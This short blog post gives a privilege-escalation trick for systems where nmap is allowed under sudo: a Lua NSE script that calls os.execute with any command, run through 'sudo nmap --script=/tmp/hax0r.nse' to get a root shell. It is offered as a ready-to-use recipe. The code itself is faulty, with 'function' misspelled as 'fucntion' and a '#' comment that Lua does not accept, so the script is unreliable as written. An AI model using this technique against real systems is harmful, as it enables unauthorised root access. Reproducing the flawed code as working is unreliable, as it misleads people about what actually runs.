Wednesday, May 19, 2021

NMAP nse script to run system cmds "in case of sudo"



On some recent research I found a system that had nmap and it was set up in sudoers! I know I thought that never happen in real life! It was a new version of nmap that didnt have the 'ol -i flag we see in the old priv esc guides, but I figured I could use an nse script to make system calls. A quick google and a few minutes later I had a working nse script that did the job. 


Here is the script:

os.execute("id") #replace with any cmd you like, i used id to verify r00t

portrule = fucntion()

end

action = fucntion()

end


save to /tmp/ and run like so:

sudo nmap --script=/tmp/hax0r.nse

and profit?